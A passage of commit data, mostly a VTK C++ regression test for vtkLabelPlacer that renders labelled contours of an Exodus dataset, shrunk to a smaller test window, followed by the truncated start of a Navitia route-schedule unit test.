information.\n\n=========================================================================*\/\n\n\/\/ .NAME Test of vtkLabelPlacer\n\/\/ .SECTION Description\n\/\/ this program tests vtkLabelPlacer which uses a sophisticated algorithm to\n\/\/ prune labels\/icons preventing them from overlapping.\n\n#include \"vtkActor.h\"\n#include \"vtkActor2D.h\"\n#include \"vtkCamera.h\"\n#include \"vtkCellCenters.h\"\n#include \"vtkCellData.h\"\n#include \"vtkClipDataSet.h\"\n#include \"vtkContourFilter.h\"\n#include \"vtkColorTransferFunction.h\"\n#include \"vtkExodusReader.h\"\n#include \"vtkGeometryFilter.h\"\n#include \"vtkIntArray.h\"\n#include \"vtkLabeledDataMapper.h\"\n#include \"vtkLabelHierarchy.h\"\n#include \"vtkLabelPlacer.h\"\n#include \"vtkLabelSizeCalculator.h\"\n#include \"vtkLookupTable.h\"\n#include \"vtkMath.h\"\n#include \"vtkPlane.h\"\n#include \"vtkPointSetToLabelHierarchy.h\"\n#include \"vtkPoints.h\"\n#include \"vtkPointData.h\"\n#include \"vtkPolyData.h\"\n#include \"vtkPolyDataMapper.h\"\n#include \"vtkPolyDataMapper2D.h\"\n#include \"vtkPolyDataNormals.h\"\n#include \"vtkProperty.h\"\n#include \"vtkRenderer.h\"\n#include \"vtkRenderWindow.h\"\n#include \"vtkRenderWindowInteractor.h\"\n#include \"vtkTextProperty.h\"\n#include \"vtkTIFFWriter.h\"\n#include \"vtkXMLPolyDataReader.h\"\n#include \"vtkXMLPolyDataWriter.h\"\n#include \"vtkPolyData.h\"\n#include \"vtkImageData.h\"\n#include \"vtkSmartPointer.h\"\n#include \"vtkSphereSource.h\"\n#include \"vtkStructuredGrid.h\"\n#include \"vtkUnstructuredGrid.h\"\n#include \"vtkRectilinearGrid.h\"\n#include \"vtkWindowToImageFilter.h\"\n\n\n#include <vtkTestUtilities.h>\n#include <vtkRegressionTestImage.h>\n\nint TestLabelPlacerExodus(int argc, char *argv[])\n {\n int maxLevels = 5;\n int targetLabels = 32;\n double labelRatio = 0.05;\n char* fname = vtkTestUtilities::ExpandDataFileName(argc, argv, \"Data\/disk_out_ref.ex2\");\n \/\/int iteratorType = vtkLabelHierarchy::FULL_SORT;\n int iteratorType = vtkLabelHierarchy::QUEUE;\n \/\/int iteratorType = vtkLabelHierarchy::DEPTH_FIRST;\n bool showBounds = false;\n\n\n vtkSmartPointer<vtkLabelSizeCalculator> labelSizeCalculator = \n vtkSmartPointer<vtkLabelSizeCalculator>::New();\n vtkSmartPointer<vtkLabelHierarchy> labelHierarchy = \n vtkSmartPointer<vtkLabelHierarchy>::New();\n vtkSmartPointer<vtkLabelPlacer> labelPlacer = \n vtkSmartPointer<vtkLabelPlacer>::New();\n vtkSmartPointer<vtkPointSetToLabelHierarchy> pointSetToLabelHierarchy = \n vtkSmartPointer<vtkPointSetToLabelHierarchy>::New();\n vtkSmartPointer<vtkExodusReader> exoReader =\n vtkSmartPointer<vtkExodusReader>::New();\n\n vtkSmartPointer<vtkPlane> plane1 = vtkSmartPointer<vtkPlane>::New();\n vtkSmartPointer<vtkPlane> plane2 = vtkSmartPointer<vtkPlane>::New();\n vtkSmartPointer<vtkClipDataSet> clip1 = vtkSmartPointer<vtkClipDataSet>::New();\n vtkSmartPointer<vtkClipDataSet> clip2 = vtkSmartPointer<vtkClipDataSet>::New();\n\n plane1->SetNormal(0.874613683283037, 0.0, -0.484820487411659);\n plane2->SetNormal(-0.483077342911335, 0.875577684026794, 0.0);\n\n vtkSmartPointer<vtkContourFilter> contour = vtkSmartPointer<vtkContourFilter>::New();\n\n vtkSmartPointer<vtkColorTransferFunction> contourXfer = vtkSmartPointer<vtkColorTransferFunction>::New();\n vtkSmartPointer<vtkColorTransferFunction> modelXfer = vtkSmartPointer<vtkColorTransferFunction>::New();\n\n vtkSmartPointer<vtkPolyDataMapper> modelMapper = vtkSmartPointer<vtkPolyDataMapper>::New();\n vtkSmartPointer<vtkPolyDataMapper> contourMapper = vtkSmartPointer<vtkPolyDataMapper>::New();\n vtkSmartPointer<vtkActor> modelActor = vtkSmartPointer<vtkActor>::New();\n vtkSmartPointer<vtkActor> contourActor = vtkSmartPointer<vtkActor>::New();\n vtkSmartPointer<vtkRenderer> renderer = vtkSmartPointer<vtkRenderer>::New();\n vtkSmartPointer<vtkRenderWindow> renWin = vtkSmartPointer<vtkRenderWindow>::New();\n vtkSmartPointer<vtkRenderWindowInteractor> iren = vtkSmartPointer<vtkRenderWindowInteractor>::New();\n\n vtkSmartPointer<vtkLabeledDataMapper> labeledMapper = \n vtkSmartPointer<vtkLabeledDataMapper>::New();\n vtkSmartPointer<vtkActor2D> textActor = vtkSmartPointer<vtkActor2D>::New();\n vtkSmartPointer<vtkCellCenters> cellCenters = vtkSmartPointer<vtkCellCenters>::New();\n vtkSmartPointer<vtkGeometryFilter> geometry1 = vtkSmartPointer<vtkGeometryFilter>::New();\n vtkSmartPointer<vtkGeometryFilter> geometry2 = vtkSmartPointer<vtkGeometryFilter>::New();\n\n vtkSmartPointer<vtkPolyDataNormals> normals1 = vtkSmartPointer<vtkPolyDataNormals>::New();\n vtkSmartPointer<vtkPolyDataNormals> normals2 = vtkSmartPointer<vtkPolyDataNormals>::New();\n\n\n normals1->SplittingOn();\n normals1->ConsistencyOn();\n normals1->NonManifoldTraversalOn();\n normals2->SplittingOn();\n normals2->ConsistencyOn();\n normals2->NonManifoldTraversalOn();\n\n\n \/\/xmlPolyDataReader->SetFileName( fname );\n exoReader->SetFileName( fname );\n \/\/exoReader->SetPointArrayStatus(\"Temp\", 1);\n exoReader->SetAllPointArrayStatus(1);\n delete [] fname;\n\n contour->SetInputConnection(exoReader->GetOutputPort());\n contour->ComputeNormalsOn();\n contour->ComputeGradientsOn();\n contour->ComputeScalarsOn();\n contour->SetValue(0, 362);\n contour->SetValue(1, 500);\n contour->SetValue(2, 638);\n contour->SetValue(3, 775);\n contour->SetValue(4, 844);\n contour->SetInputArrayToProcess(0, 0, 0, vtkDataObject::FIELD_ASSOCIATION_POINTS, \"Temp\");\n\n clip1->SetInputConnection(exoReader->GetOutputPort());\n clip1->SetClipFunction(plane1);\n clip1->InsideOutOn();\n geometry1->SetInputConnection(clip1->GetOutputPort());\n\n clip2->SetInputConnection(contour->GetOutputPort());\n clip2->SetClipFunction(plane2);\n geometry2->SetInputConnection(clip2->GetOutputPort());\n\n cellCenters->SetInputConnection(clip2->GetOutputPort());\n cellCenters->Update();\n \/\/cellCenters->GetOutput()->Print(cout);\n\n \/\/geometry2->Update();\n \/\/geometry2->GetOutput()->Print(cout);\n\n int numTemps = cellCenters->GetOutput()->GetNumberOfPoints();\n\n vtkSmartPointer<vtkIntArray> priority = vtkSmartPointer<vtkIntArray>::New();\n priority->SetName(\"Priority\");\n priority->SetNumberOfComponents(1);\n priority->SetNumberOfValues(numTemps);\n\n for(int i = 0; i < numTemps; i++)\n {\n priority->SetValue(i, static_cast<int>(vtkMath::Random(0.0, 5.0)));\n }\n\n geometry2->Update();\n vtkSmartPointer<vtkPolyData> temp = vtkSmartPointer<vtkPolyData>::New();\n temp->ShallowCopy(cellCenters->GetOutput());\n temp->GetPointData()->AddArray(priority);\n \/\/temp->GetPointData()->AddArray(geometry2->GetOutput()->GetPointData()->GetArray(\"Temp\"));\n \/\/temp-\n \/\/temp->Print(cout);\n\n \/\/\/ Label \/\/\/\n\n labelSizeCalculator->SetInput(temp);\n labelSizeCalculator->GetFontProperty()->SetFontSize( 14 );\n labelSizeCalculator->GetFontProperty()->SetFontFamily( vtkTextProperty::GetFontFamilyFromString( \"Arial\" ) );\n labelSizeCalculator->GetFontProperty()->ShadowOn();\n labelSizeCalculator->SetInputArrayToProcess( 0, 0, 0, vtkDataObject::FIELD_ASSOCIATION_POINTS, \"PedigreeElementId\" );\n\n pointSetToLabelHierarchy->AddInputConnection(labelSizeCalculator->GetOutputPort());\n pointSetToLabelHierarchy->SetInputArrayToProcess( 0, 0, 0, vtkDataObject::FIELD_ASSOCIATION_POINTS, \"Priority\" );\n pointSetToLabelHierarchy->SetInputArrayToProcess( 1, 0, 0, vtkDataObject::FIELD_ASSOCIATION_POINTS, \"LabelSize\" );\n pointSetToLabelHierarchy->SetInputArrayToProcess( 2, 0, 0, vtkDataObject::FIELD_ASSOCIATION_POINTS, \"PedigreeElementId\" );\n pointSetToLabelHierarchy->SetMaximumDepth( maxLevels );\n pointSetToLabelHierarchy->SetTargetLabelCount( targetLabels );\n\n labelPlacer->SetInputConnection( pointSetToLabelHierarchy->GetOutputPort() );\n labelPlacer->SetIteratorType( iteratorType );\n labelPlacer->SetOutputTraversedBounds( showBounds );\n labelPlacer->SetRenderer( renderer );\n labelPlacer->SetMaximumLabelFraction( labelRatio );\n labelPlacer->UseDepthBufferOn();\n\n labeledMapper->SetInputConnection(labelPlacer->GetOutputPort());\n labeledMapper->SetLabelTextProperty(labelSizeCalculator->GetFontProperty());\n labeledMapper->SetFieldDataName(\"LabelText\");\n labeledMapper->SetLabelModeToLabelFieldData();\n labeledMapper->GetLabelTextProperty()->SetColor(1.0, 1.0, 1.0);\n textActor->SetMapper(labeledMapper);\n\n \/\/\/ End Label \/\/\/\n\n normals1->SetInputConnection(geometry1->GetOutputPort());\n\n modelXfer->SetColorSpaceToDiverging();\n modelXfer->AddRGBPoint(0.08, 0.138094, 0.241093, 0.709102);\n modelXfer->AddRGBPoint(0.18, 0.672801, 0.140795, 0.126604);\n modelXfer->SetScaleToLinear();\n modelXfer->Build();\n\n modelMapper->SetInputConnection(normals1->GetOutputPort());\n modelMapper->SelectColorArray(\"AsH3\");\n modelMapper->ScalarVisibilityOn();\n modelMapper->SetLookupTable(modelXfer);\n modelMapper->UseLookupTableScalarRangeOn();\n modelMapper->SetColorModeToMapScalars();\n modelMapper->ScalarVisibilityOn();\n modelMapper->SetScalarModeToUsePointFieldData();\n\n modelActor->SetMapper(modelMapper);\n\n contourXfer->SetColorSpaceToRGB();\n contourXfer->AddRGBPoint(293.0, 0.0, 0.666667, 0.0);\n contourXfer->AddRGBPoint(913.5, 0.67451, 0.443137, 0.113725);\n contourXfer->SetScaleToLinear();\n contourXfer->Build();\n\n normals2->SetInputConnection(geometry2->GetOutputPort());\n\n contourMapper->SetInputConnection(normals2->GetOutputPort());\n contourMapper->SelectColorArray(\"Temp\");\n contourMapper->ScalarVisibilityOn();\n contourMapper->SetLookupTable(contourXfer);\n contourMapper->UseLookupTableScalarRangeOn();\n contourMapper->SetColorModeToMapScalars();\n contourMapper->ScalarVisibilityOn();\n contourMapper->SetScalarModeToUsePointFieldData();\n\n contourActor->SetMapper(contourMapper);\n modelActor->SetPosition(0.05, -0.05, 0.0);\n\n renderer->AddActor(contourActor);\n renderer->AddActor(modelActor);\n renderer->AddActor(textActor);\n\n\n renWin->SetSize(600, 600);\n renWin->AddRenderer(renderer);\n renderer->SetBackground(1.0, 1.0, 1.0);\n iren->SetRenderWindow(renWin);\n\n renderer->GetActiveCamera()->SetFocalPoint(-9.25157, 7.70629, 3.69546);\n renderer->GetActiveCamera()->SetPosition(24.9979, -27.946, -4.03877);\n renderer->GetActiveCamera()->SetViewAngle(30);\n renderer->GetActiveCamera()->SetViewUp(0.248261, 0.427108, -8.869451);\n\n renWin->Render();\n renderer->ResetCamera();\n renderer->ResetCamera();\n renderer->ResetCamera();\n\n vtkSmartPointer<vtkWindowToImageFilter> capture = vtkSmartPointer<vtkWindowToImageFilter>::New();\n\n \/\/capture->SetInput(renWin);\n \/\/char buffer[1024];\n\n \/\/vtkSmartPointer<vtkTIFFWriter> tiffWriter = vtkSmartPointer<vtkTIFFWriter>::New();\n \/\/tiffWriter->SetInputConnection(capture->GetOutputPort());\n \/\/tiffWriter->SetCompressionToNoCompression();\n\n int j = 0;\n\n \/*for(j = 0; j < 20; j++)\n {\n renderer->GetActiveCamera()->Azimuth(-0.5);\n renWin->Render();\n\n capture->Modified();\n sprintf(buffer, \"%04d.tiff\", j );\n\n tiffWriter->SetFileName(buffer);\n tiffWriter->Write();\n }*\/\n\n for(; j < 80; j++)\n {\n renderer->GetActiveCamera()->Zoom(1.01);\n renWin->Render();\n\n \/\/capture->Modified();\n \/\/sprintf(buffer, \"%04d.tiff\", j );\n\n \/\/tiffWriter->SetFileName(buffer);\n \/\/tiffWriter->Write();\n }\n\n for(; j < 400; j++)\n {\n renderer->GetActiveCamera()->Azimuth(-0.25);\n renWin->Render();\n\n \/\/capture->Modified();\n \/\/sprintf(buffer, \"%04d.tiff\", j );\n\n \/\/tiffWriter->SetFileName(buffer);\n \/\/tiffWriter->Write();\n }\n\n int retVal = vtkRegressionTestImage( renWin );\n if ( retVal == vtkRegressionTester::DO_INTERACTOR)\n {\n iren->Start();\n }\n\n return !retVal;\n }\n<commit_msg>ENH: shrink size of test window.<commit_after>\/*=========================================================================\n\n Program: Visualization Toolkit\n Module: TestLabelPlacerExodus.cxx\n\n Copyright (c) Ken Martin, Will Schroeder, Bill Lorensen\n All rights reserved.\n See Copyright.txt or http:\/\/www.kitware.com\/Copyright.htm for details.\n\n This software is distributed WITHOUT ANY WARRANTY; without even\n the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\n PURPOSE. See the above copyright notice for more information.\n\n=========================================================================*\/\n\n\/\/ .NAME Test of vtkLabelPlacer\n\/\/ .SECTION Description\n\/\/ this program tests vtkLabelPlacer which uses a sophisticated algorithm to\n\/\/ prune labels\/icons preventing them from overlapping.\n\n#include \"vtkActor.h\"\n#include \"vtkActor2D.h\"\n#include \"vtkCamera.h\"\n#include \"vtkCellCenters.h\"\n#include \"vtkCellData.h\"\n#include \"vtkClipDataSet.h\"\n#include \"vtkContourFilter.h\"\n#include \"vtkColorTransferFunction.h\"\n#include \"vtkExodusReader.h\"\n#include \"vtkGeometryFilter.h\"\n#include \"vtkIntArray.h\"\n#include \"vtkLabeledDataMapper.h\"\n#include \"vtkLabelHierarchy.h\"\n#include \"vtkLabelPlacer.h\"\n#include \"vtkLabelSizeCalculator.h\"\n#include \"vtkLookupTable.h\"\n#include \"vtkMath.h\"\n#include \"vtkPlane.h\"\n#include \"vtkPointSetToLabelHierarchy.h\"\n#include \"vtkPoints.h\"\n#include \"vtkPointData.h\"\n#include \"vtkPolyData.h\"\n#include \"vtkPolyDataMapper.h\"\n#include \"vtkPolyDataMapper2D.h\"\n#include \"vtkPolyDataNormals.h\"\n#include \"vtkProperty.h\"\n#include \"vtkRenderer.h\"\n#include \"vtkRenderWindow.h\"\n#include \"vtkRenderWindowInteractor.h\"\n#include \"vtkTextProperty.h\"\n#include \"vtkTIFFWriter.h\"\n#include \"vtkXMLPolyDataReader.h\"\n#include \"vtkXMLPolyDataWriter.h\"\n#include \"vtkPolyData.h\"\n#include \"vtkImageData.h\"\n#include \"vtkSmartPointer.h\"\n#include \"vtkSphereSource.h\"\n#include \"vtkStructuredGrid.h\"\n#include \"vtkUnstructuredGrid.h\"\n#include \"vtkRectilinearGrid.h\"\n#include \"vtkWindowToImageFilter.h\"\n\n\n#include <vtkTestUtilities.h>\n#include <vtkRegressionTestImage.h>\n\nint TestLabelPlacerExodus(int argc, char *argv[])\n {\n int maxLevels = 5;\n int targetLabels = 32;\n double labelRatio = 0.05;\n char* fname = vtkTestUtilities::ExpandDataFileName(argc, argv, \"Data\/disk_out_ref.ex2\");\n \/\/int iteratorType = vtkLabelHierarchy::FULL_SORT;\n int iteratorType = vtkLabelHierarchy::QUEUE;\n \/\/int iteratorType = vtkLabelHierarchy::DEPTH_FIRST;\n bool showBounds = false;\n\n vtkSmartPointer<vtkLabelSizeCalculator> labelSizeCalculator = \n vtkSmartPointer<vtkLabelSizeCalculator>::New();\n vtkSmartPointer<vtkLabelHierarchy> labelHierarchy = \n vtkSmartPointer<vtkLabelHierarchy>::New();\n vtkSmartPointer<vtkLabelPlacer> labelPlacer = \n vtkSmartPointer<vtkLabelPlacer>::New();\n vtkSmartPointer<vtkPointSetToLabelHierarchy> pointSetToLabelHierarchy = \n vtkSmartPointer<vtkPointSetToLabelHierarchy>::New();\n vtkSmartPointer<vtkExodusReader> exoReader =\n vtkSmartPointer<vtkExodusReader>::New();\n\n vtkSmartPointer<vtkPlane> plane1 = vtkSmartPointer<vtkPlane>::New();\n vtkSmartPointer<vtkPlane> plane2 = vtkSmartPointer<vtkPlane>::New();\n vtkSmartPointer<vtkClipDataSet> clip1 = vtkSmartPointer<vtkClipDataSet>::New();\n vtkSmartPointer<vtkClipDataSet> clip2 = vtkSmartPointer<vtkClipDataSet>::New();\n\n plane1->SetNormal(0.874613683283037, 0.0, -0.484820487411659);\n plane2->SetNormal(-0.483077342911335, 0.875577684026794, 0.0);\n\n vtkSmartPointer<vtkContourFilter> contour = vtkSmartPointer<vtkContourFilter>::New();\n\n vtkSmartPointer<vtkColorTransferFunction> contourXfer = vtkSmartPointer<vtkColorTransferFunction>::New();\n vtkSmartPointer<vtkColorTransferFunction> modelXfer = vtkSmartPointer<vtkColorTransferFunction>::New();\n\n vtkSmartPointer<vtkPolyDataMapper> modelMapper = vtkSmartPointer<vtkPolyDataMapper>::New();\n vtkSmartPointer<vtkPolyDataMapper> contourMapper = vtkSmartPointer<vtkPolyDataMapper>::New();\n vtkSmartPointer<vtkActor> modelActor = vtkSmartPointer<vtkActor>::New();\n vtkSmartPointer<vtkActor> contourActor = vtkSmartPointer<vtkActor>::New();\n vtkSmartPointer<vtkRenderer> renderer = vtkSmartPointer<vtkRenderer>::New();\n vtkSmartPointer<vtkRenderWindow> renWin = vtkSmartPointer<vtkRenderWindow>::New();\n vtkSmartPointer<vtkRenderWindowInteractor> iren = vtkSmartPointer<vtkRenderWindowInteractor>::New();\n\n vtkSmartPointer<vtkLabeledDataMapper> labeledMapper = \n vtkSmartPointer<vtkLabeledDataMapper>::New();\n vtkSmartPointer<vtkActor2D> textActor = vtkSmartPointer<vtkActor2D>::New();\n vtkSmartPointer<vtkCellCenters> cellCenters = vtkSmartPointer<vtkCellCenters>::New();\n vtkSmartPointer<vtkGeometryFilter> geometry1 = vtkSmartPointer<vtkGeometryFilter>::New();\n vtkSmartPointer<vtkGeometryFilter> geometry2 = vtkSmartPointer<vtkGeometryFilter>::New();\n\n vtkSmartPointer<vtkPolyDataNormals> normals1 = vtkSmartPointer<vtkPolyDataNormals>::New();\n vtkSmartPointer<vtkPolyDataNormals> normals2 = vtkSmartPointer<vtkPolyDataNormals>::New();\n\n\n normals1->SplittingOn();\n normals1->ConsistencyOn();\n normals1->NonManifoldTraversalOn();\n normals2->SplittingOn();\n normals2->ConsistencyOn();\n normals2->NonManifoldTraversalOn();\n\n\n \/\/xmlPolyDataReader->SetFileName( fname );\n exoReader->SetFileName( fname );\n \/\/exoReader->SetPointArrayStatus(\"Temp\", 1);\n exoReader->SetAllPointArrayStatus(1);\n delete [] fname;\n\n contour->SetInputConnection(exoReader->GetOutputPort());\n contour->ComputeNormalsOn();\n contour->ComputeGradientsOn();\n contour->ComputeScalarsOn();\n contour->SetValue(0, 362);\n contour->SetValue(1, 500);\n contour->SetValue(2, 638);\n contour->SetValue(3, 775);\n contour->SetValue(4, 844);\n contour->SetInputArrayToProcess(0, 0, 0, vtkDataObject::FIELD_ASSOCIATION_POINTS, \"Temp\");\n\n clip1->SetInputConnection(exoReader->GetOutputPort());\n clip1->SetClipFunction(plane1);\n clip1->InsideOutOn();\n geometry1->SetInputConnection(clip1->GetOutputPort());\n\n clip2->SetInputConnection(contour->GetOutputPort());\n clip2->SetClipFunction(plane2);\n geometry2->SetInputConnection(clip2->GetOutputPort());\n\n cellCenters->SetInputConnection(clip2->GetOutputPort());\n cellCenters->Update();\n \/\/cellCenters->GetOutput()->Print(cout);\n\n \/\/geometry2->Update();\n \/\/geometry2->GetOutput()->Print(cout);\n\n int numTemps = cellCenters->GetOutput()->GetNumberOfPoints();\n\n vtkSmartPointer<vtkIntArray> priority = vtkSmartPointer<vtkIntArray>::New();\n priority->SetName(\"Priority\");\n priority->SetNumberOfComponents(1);\n priority->SetNumberOfValues(numTemps);\n\n for(int i = 0; i < numTemps; i++)\n {\n priority->SetValue(i, static_cast<int>(vtkMath::Random(0.0, 5.0)));\n }\n\n geometry2->Update();\n vtkSmartPointer<vtkPolyData> temp = vtkSmartPointer<vtkPolyData>::New();\n temp->ShallowCopy(cellCenters->GetOutput());\n temp->GetPointData()->AddArray(priority);\n \/\/temp->GetPointData()->AddArray(geometry2->GetOutput()->GetPointData()->GetArray(\"Temp\"));\n \/\/temp-\n \/\/temp->Print(cout);\n\n \/\/\/ Label \/\/\/\n\n labelSizeCalculator->SetInput(temp);\n labelSizeCalculator->GetFontProperty()->SetFontSize( 14 );\n labelSizeCalculator->GetFontProperty()->SetFontFamily( vtkTextProperty::GetFontFamilyFromString( \"Arial\" ) );\n labelSizeCalculator->GetFontProperty()->ShadowOn();\n labelSizeCalculator->SetInputArrayToProcess( 0, 0, 0, vtkDataObject::FIELD_ASSOCIATION_POINTS, \"PedigreeElementId\" );\n\n pointSetToLabelHierarchy->AddInputConnection(labelSizeCalculator->GetOutputPort());\n pointSetToLabelHierarchy->SetInputArrayToProcess( 0, 0, 0, vtkDataObject::FIELD_ASSOCIATION_POINTS, \"Priority\" );\n pointSetToLabelHierarchy->SetInputArrayToProcess( 1, 0, 0, vtkDataObject::FIELD_ASSOCIATION_POINTS, \"LabelSize\" );\n pointSetToLabelHierarchy->SetInputArrayToProcess( 2, 0, 0, vtkDataObject::FIELD_ASSOCIATION_POINTS, \"PedigreeElementId\" );\n pointSetToLabelHierarchy->SetMaximumDepth( maxLevels );\n pointSetToLabelHierarchy->SetTargetLabelCount( targetLabels );\n\n labelPlacer->SetInputConnection( pointSetToLabelHierarchy->GetOutputPort() );\n labelPlacer->SetIteratorType( iteratorType );\n labelPlacer->SetOutputTraversedBounds( showBounds );\n labelPlacer->SetRenderer( renderer );\n labelPlacer->SetMaximumLabelFraction( labelRatio );\n labelPlacer->UseDepthBufferOn();\n\n labeledMapper->SetInputConnection(labelPlacer->GetOutputPort());\n labeledMapper->SetLabelTextProperty(labelSizeCalculator->GetFontProperty());\n labeledMapper->SetFieldDataName(\"LabelText\");\n labeledMapper->SetLabelModeToLabelFieldData();\n labeledMapper->GetLabelTextProperty()->SetColor(1.0, 1.0, 1.0);\n textActor->SetMapper(labeledMapper);\n\n \/\/\/ End Label \/\/\/\n\n normals1->SetInputConnection(geometry1->GetOutputPort());\n\n modelXfer->SetColorSpaceToDiverging();\n modelXfer->AddRGBPoint(0.08, 0.138094, 0.241093, 0.709102);\n modelXfer->AddRGBPoint(0.18, 0.672801, 0.140795, 0.126604);\n modelXfer->SetScaleToLinear();\n modelXfer->Build();\n\n modelMapper->SetInputConnection(normals1->GetOutputPort());\n modelMapper->SelectColorArray(\"AsH3\");\n modelMapper->ScalarVisibilityOn();\n modelMapper->SetLookupTable(modelXfer);\n modelMapper->UseLookupTableScalarRangeOn();\n modelMapper->SetColorModeToMapScalars();\n modelMapper->ScalarVisibilityOn();\n modelMapper->SetScalarModeToUsePointFieldData();\n\n modelActor->SetMapper(modelMapper);\n\n contourXfer->SetColorSpaceToRGB();\n contourXfer->AddRGBPoint(293.0, 0.0, 0.666667, 0.0);\n contourXfer->AddRGBPoint(913.5, 0.67451, 0.443137, 0.113725);\n contourXfer->SetScaleToLinear();\n contourXfer->Build();\n\n normals2->SetInputConnection(geometry2->GetOutputPort());\n\n contourMapper->SetInputConnection(normals2->GetOutputPort());\n contourMapper->SelectColorArray(\"Temp\");\n contourMapper->ScalarVisibilityOn();\n contourMapper->SetLookupTable(contourXfer);\n contourMapper->UseLookupTableScalarRangeOn();\n contourMapper->SetColorModeToMapScalars();\n contourMapper->ScalarVisibilityOn();\n contourMapper->SetScalarModeToUsePointFieldData();\n\n contourActor->SetMapper(contourMapper);\n modelActor->SetPosition(0.05, -0.05, 0.0);\n\n renderer->AddActor(contourActor);\n renderer->AddActor(modelActor);\n renderer->AddActor(textActor);\n\n\n renWin->SetSize(300, 300);\n renWin->AddRenderer(renderer);\n renderer->SetBackground(1.0, 1.0, 1.0);\n iren->SetRenderWindow(renWin);\n\n renderer->GetActiveCamera()->SetFocalPoint(-9.25157, 7.70629, 3.69546);\n renderer->GetActiveCamera()->SetPosition(24.9979, -27.946, -4.03877);\n renderer->GetActiveCamera()->SetViewAngle(30);\n renderer->GetActiveCamera()->SetViewUp(0.248261, 0.427108, -8.869451);\n\n renWin->Render();\n renderer->ResetCamera();\n renderer->ResetCamera();\n renderer->ResetCamera();\n\n vtkSmartPointer<vtkWindowToImageFilter> capture = vtkSmartPointer<vtkWindowToImageFilter>::New();\n\n \/\/capture->SetInput(renWin);\n \/\/char buffer[1024];\n\n \/\/vtkSmartPointer<vtkTIFFWriter> tiffWriter = vtkSmartPointer<vtkTIFFWriter>::New();\n \/\/tiffWriter->SetInputConnection(capture->GetOutputPort());\n \/\/tiffWriter->SetCompressionToNoCompression();\n\n int j = 0;\n\n \/*for(j = 0; j < 20; j++)\n {\n renderer->GetActiveCamera()->Azimuth(-0.5);\n renWin->Render();\n\n capture->Modified();\n sprintf(buffer, \"%04d.tiff\", j );\n\n tiffWriter->SetFileName(buffer);\n tiffWriter->Write();\n }*\/\n\n for(; j < 80; j++)\n {\n renderer->GetActiveCamera()->Zoom(1.01);\n renWin->Render();\n\n \/\/capture->Modified();\n \/\/sprintf(buffer, \"%04d.tiff\", j );\n\n \/\/tiffWriter->SetFileName(buffer);\n \/\/tiffWriter->Write();\n }\n\n for(; j < 400; j++)\n {\n renderer->GetActiveCamera()->Azimuth(-0.25);\n renWin->Render();\n\n \/\/capture->Modified();\n \/\/sprintf(buffer, \"%04d.tiff\", j );\n\n \/\/tiffWriter->SetFileName(buffer);\n \/\/tiffWriter->Write();\n }\n\n int retVal = vtkRegressionTestImage( renWin );\n if ( retVal == vtkRegressionTester::DO_INTERACTOR)\n {\n iren->Start();\n }\n\n return !retVal;\n }\n<|endoftext|>"} {"text":"<commit_before>\/* Copyright © 2001-2014, Canal TP and\/or its affiliates. All rights reserved.\n \nThis file is part of Navitia,\n the software to build cool stuff with public transport.\n \nHope you'll enjoy and contribute to this project,\n powered by Canal TP (www.canaltp.fr).\nHelp us simplify mobility and open public transport:\n a non ending quest to the responsive locomotion way of traveling!\n \nLICENCE: This program is free software; you can redistribute it and\/or modify\nit under the terms of the GNU Affero General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\n(at your option) any later version.\n \nThis program is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\nGNU Affero General Public License for more details.\n \nYou should have received a copy of the GNU Affero General Public License\nalong with this program. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n \nStay tuned using\ntwitter @navitia \nIRC #navitia on freenode\nhttps:\/\/groups.google.com\/d\/forum\/navitia\nwww.navitia.io\n*\/\n\n#define BOOST_TEST_DYN_LINK\n#define BOOST_TEST_MODULE test_ed\n#include <boost\/test\/unit_test.hpp>\n#include \"ed\/build_helper.h\"\n#include \"type\/type.h\"\n#include \"tests\/utils_test.h\"\n#include \"time_tables\/route_schedules.h\"\n\/\/for more concice test\nstatic pt::ptime d(std::string str) {\n return boost::posix_time::from_iso_string(str);\n}\n\/*\n Wanted schedules:\n VJ1 VJ2 VJ3 VJ4\n A 8h00 8h05\n B 8h10 8h20 8h25\n C 8h05\n D 9h30 9h35\n\n But the thermometer algorithm is buggy, is doesn't give the shorest common superstring..\n So, actually we have this schedule\n VJ1\n C\n D\n A 8h\n B 8h10\n D\n\nWith VJ1, and VJ2, we ensure that we are no more comparing the two first jpp of\neach VJ, but we have a more human order.\nVJ2 and VJ3, is a basic test.\nThe difficulty with VJ4 comes when we have to compare it to VJ1.\nWhen comparing VJ1 and VJ4, we compare VJ1(stopC) with VJ4(stopD)\nand when we compare VJ4 and VJ1, we compare VJ4(stopB) with VJ1(stopC).\n*\/\nstruct route_schedule_fixture {\n ed::builder b = {\"20120614\"};\n\n route_schedule_fixture() {\n const std::string a_name = \"stopA\",\n b_name = \"stopB\",\n c_name = \"stopC\",\n d_name = \"stopD\";\n b.vj(\"A\", \"1111111\", \"\", true, \"1\", \"1\", \"JP1\")(c_name, 8*3600 + 5*60)(d_name, 9*3600 + 30*60);\n b.vj(\"A\", \"1111111\", \"\", true, \"2\", \"2\", \"JP2\")(a_name, 8*3600)(b_name, 8*3600 + 10*60);\n b.vj(\"A\", \"1111111\", \"\", true, \"3\", \"3\", \"JP2\")(a_name, 8*3600 + 5*60)(b_name, 8*3600 + 20*60);\n b.vj(\"A\", \"1111111\", \"\", true, \"4\", \"4\", \"JP3\")(b_name, 8*3600+25*60)(d_name, 9*3600 + 35*60);\n b.finish();\n b.data->pt_data->index();\n b.data->build_raptor();\n\n boost::gregorian::date begin = boost::gregorian::date_from_iso_string(\"20120613\");\n boost::gregorian::date end = boost::gregorian::date_from_iso_string(\"20120630\");\n\n b.data->meta->production_date = boost::gregorian::date_period(begin, end);\n }\n};\n\nBOOST_FIXTURE_TEST_CASE(test1, route_schedule_fixture) {\n\n pbnavitia::Response resp = navitia::timetables::route_schedule(\"line.uri=A\", boost::optional<const std::string>(), {}, d(\"20120615T070000\"), 86400, 100,\n 1, 3, 10, 0, *(b.data), false, false);\n BOOST_REQUIRE_EQUAL(resp.route_schedules().size(), 1);\n pbnavitia::RouteSchedule route_schedule = resp.route_schedules(0);\n auto get_vj = [](pbnavitia::RouteSchedule r, int i) {\n return r.table().headers(i).pt_display_informations().uris().vehicle_journey();\n };\n BOOST_REQUIRE_EQUAL(get_vj(route_schedule, 0), \"1\");\n BOOST_REQUIRE_EQUAL(get_vj(route_schedule, 1), \"2\");\n 